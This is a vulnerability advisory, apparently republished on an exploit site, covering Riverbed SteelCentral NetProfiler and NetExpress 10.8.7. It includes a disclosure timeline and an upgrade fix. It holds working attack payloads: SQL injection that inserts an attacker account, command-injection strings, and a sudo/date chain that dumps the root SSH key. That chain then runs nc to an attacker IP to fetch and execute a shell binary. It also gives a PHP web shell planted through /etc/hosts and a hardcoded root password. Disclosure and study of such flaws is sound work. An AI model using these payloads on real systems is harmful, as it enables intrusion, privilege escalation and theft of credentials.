Riverbed SteelCentral NetProfiler & NetExpress 10.8.7 - Multiple Vulnerabilities

ID 1337DAY-ID-25136
Type zdt
Reporter Security-Assessment
Modified 2016-06-27T00:00:00


Exploit for php platform in category web applications

                                            Riverbed SteelCentral NetProfiler & NetExpress Multiple Vulnerabilities
Affected versions: SteelCentral NetProfiler <= 10.8.7 & SteelCentral
NetExpress <= 10.8.7
The Riverbed SteelCentral NetProfiler and NetExpress virtual appliances,
which share the same code base, are affected by multiple security
vulnerabilities, including authentication bypass, SQL injection,
arbitrary code execution via command injection, privilege escalation,
local file inclusion, account hijacking and hardcoded default
credentials. Details for other low severity vulnerabilities (i.e.
cross-site scripting) are available in the accompanying PDF.
==SQL Injection==
The ‘username’ POST parameter in the login method of the common REST API
is vulnerable to SQL injection via stacked queries. An attacker can
exploit this vulnerability to add a user account in the application’s
PostgreSQL database and successfully bypass authentication. The
exploitation of this vulnerability can also be replicated from the main
web GUI login functionality as login calls are routed to the same common
REST API web service.
The proof-of-concept request below shows how to exploit the SQL
injection vulnerability to add a malicious user account into the ‘users’
table of the application database. Since quote characters can't be used
as part of the injection payload, an attacker needs to use string
concatenation to insert the field values (i.e. 'user' =>
Method => POST
URL => /api/common/1.0/login
Content-type => application/json
Payload => {
  "username": "test%';INSERT INTO users (username, password, uid) VALUES
(<user>, <SHA512 hash>, <random id>);--",
  "password": ""
Additional SQL Injection vulnerabilities exist in the application’s web
interface and can be exploited after authentication.
Method        => GET
URL         => /popup.php?page=export_report
Parameter     => report_id
POC Payload => 1';SELECT PG_SLEEP(5)--
Method        => GET
URL         => /popup.php?page=algorithm_settings
Parameter     => id
POC Payload => 1';SELECT PG_SLEEP(5)--   
Method        => POST
URL         => /index.php?page=port_config
Parameter     => PortsSelectControl/ports_config/port_names
POC Payload => ') AND 9625=(SELECT 9625 FROM PG_SLEEP(5)) AND
Method        => POST
URL         => /index.php?page=port_config
Parameter     => PortsSelectControl/ports_config/port_numbers
POC Payload => 1-100) AND 5045=(SELECT 5045 FROM PG_SLEEP(5)) AND (2272=2272
Method        => POST
URL         => /index.php?page=port_config
Parameter     => PortsSelectControl/ports_config/port_proto
POC Payload => ');SELECT PG_SLEEP(5)--
All the SQL injections above can be trivially exploited to write
malicious PHP code into a directory under the application web root
folder, such as one used for file uploads, and obtain arbitrary code
==Command Injection==
Multiple command injection vulnerabilities exist in the appliances’ web
interfaces due to unsanitized user-supplied input passed as argument to
shell functions. An attacker can exploit these vulnerabilities to inject
shell commands and obtain arbitrary code execution.
URL         => GET
Parameter   => device
POC Payload => 1; touch /tmp/FILE;
URL         => POST /index.php?page=licenses
Body        => xjxfun=get_request_key&xjxr=<value>&xjxargs[]=<PAYLOAD>
Parameter   => xjxargs[]
POC Payload => LICENSE-TOKEN; id;
Notes        => Token Request functionality in 'Licenses' page
URL         => GET /popup.php?page=packet_export&query=<PAYLOAD>
Parameter   => query
POC Payload => 1; touch /tmp/MYFILE;
URL         => POST /index.php?page=network_config
Body        => <configuration params>&Setup/setup/network_hostname=<PAYLOAD>
Parameter   => Setup/setup/network_hostname
POC Payload => 1; touch /tmp/MYFILE;
Notes        => 'Configure now' functionality, injection occurs after
appliance reboots.
URL         => POST /index.php?page=product_info
Body        => xjxfun=delete_collect&&xjxr=<value>&xjxargs[]=<PAYLOAD>
Parameter   => xjxargs[]
POC Payload => 1; touch /tmp/MYFILE;
Notes        => 'Delete collected entry' functionality
==Privilege Escalation==
An insecure configuration of the /etc/sudoers file allows privilege
escalation to root. The ‘apache’ user is allowed to run multiple scripts
under the /usr/mazu/bin directory without being prompted for a password,
including the following sudoers entry:
/usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date*
The ‘mazu-run’ script can be used to invoke the /bin/date binary in the
context of the built-in ‘mazu’ user. An attacker can abuse the mazu-run
script to run the /bin/date binary with the –f flag against a sensitive
file such as the root private SSH key. The ‘–f’ option instructs the
‘date’ binary to parse the file specified as a DATEFILE. By default, the
command ‘date’ will echo back an error message with the contents of the
specified file when this does not comply with a valid DATEFILE format.
This technique can be exploited to get the root SSH private RSA key and
write it into the appliance filesystem using output redirection. An
attacker can then establish a SSH connection to the target system by
using the dumped private key to authenticate as root and spawn a root
reverse shell. The POC payload below shows how to exploit the vulnerability.
sudo -u mazu /usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date -f
/opt/cascade/vault/ssh/root/id_rsa | cut -d ' ' -f 4-
| tr -d '`' | tr -d "'" > /tmp/root_ssh_privatekey; chmod 600
/tmp/root_ssh_privatekey; ssh -o UserKnownHostsFile=/dev/null
 -o StrictHostKeyChecking=no -i /tmp/root_ssh_privatekey [email protected]
'nc -n [attacker ip] 4444 > /tmp/shell.elf;
chmod 755 /tmp/shell.elf; /tmp/shell.elf';
==Local File Inclusion==
A local file inclusion vulnerability exists in the
‘sensor/ta_loader.php’ file due to a lack of input sanization for the
GET parameter ‘class’. This allows an attacker to read or include
arbitrary files.
As a practical exploitation scenario, an attacker can obtain arbitrary
code execution through the LFI vulnerability by first using the ‘Edit
/etc/hosts’ functionality available under
‘/index.php?page=network_config’ to create a fake host entry (e.g.
' <?php echo system($_GET["cmd"]); ?>' ) and write malicious
PHP code on the appliance filesystem, then include the /etc/hosts file
and execute arbitrary shell commands.
curl https://<host>/sensor/ta_loader.php?cmd=<COMMAND>&class=/etc/hosts
==Account Hijacking==
The password change functionality under the
‘/index.php?page=security_compliance’ page is vulnerable to a logic bug
which allows account hijacking via arbitrary password reset. Although
the functionality prompts for the current account password before
allowing the user to set a new password, the hashed credentials of all
the system accounts on the SteelCentral NetProfiler and NetExpress
appliances are disclosed within the ‘accountscredentialsid’ hidden
parameter in the page source code. The contents of the parameter are the
base64-encoded representation of a serialized PHP object containing the
credentials data.
This not only openly discloses the contents of the /etc/shadow file, but
can be also abused to carry out arbitrary password resets since the
current password verification is carried out on client-side against the
‘oldpassword’ field value within the serialized string. An attacker can
first generate a valid SHA-512 hash for an arbitrary current password
value along with computing the hash length.  Then the password change
HTTP request can be intercepted to decode the base64-encoded serialized
object and modify the ‘oldpassword’ hash value and its length for the
target system account to hijack with the generated SHA-512 hash of the
chosen current password value. The malicious string can now be base64
encoded back and used to replace the original request string.
After clicking the ‘Configure Now’ button the application will validate
the current password value provided through the web interface against
the injected hash value, successfully setting the new password to the
arbitrary value chosen by the attacker.
==Hardcoded default credentials==
Multiple system accounts are configured on every deployment of the
SteelCentral NetProfiler and NetExpress virtual appliances with the same
hardcoded default credentials publicly available on the web.
Users        =>    mazu, dhcp, root
Password =>    bb!nmp4y
The default ‘mazu’ user sudo configuration allows the execution of all
shell commands as root without being prompted for a password. The user
'mazu' is the only privileged user account having remote SSH access to
the SteelCentral NetProfiler and NetExpress appliances (root SSH access
is restricted to localhost only). However, the application does not
enforce a password change for the built-in 'mazu' user during
configuration time or after the first login. These insecure settings can
be exploited as a remote backdoor to gain a privileged SSH shell to the
target system.
| Solution |
Upgrade Riverbed SteelCentral Netprofiler/NetExpress to version 10.9.0.
At the time of this writing, although the account hijacking
vulnerability has been resolved, the contents of the /etc/shadow file
are still disclosed in the hidden parameter ‘originalsettingsid’ when
browsing to ‘/index.php?page=security_compliance’.
|  Timeline  |
24/03/2016 – Initial disclosure to Riverbed.
25/03/2016 – Vendor confirms receipt of advisory.
18/04/2016 – Sent follow up email asking for a status update
19/04/2016 – Vendor replies engineering team is working on software patches.
13/06/2016 – Vendor releases patched software build.
27/06/2016 – Public Disclosure
| Additional |

#  0day.today [2018-02-06]  #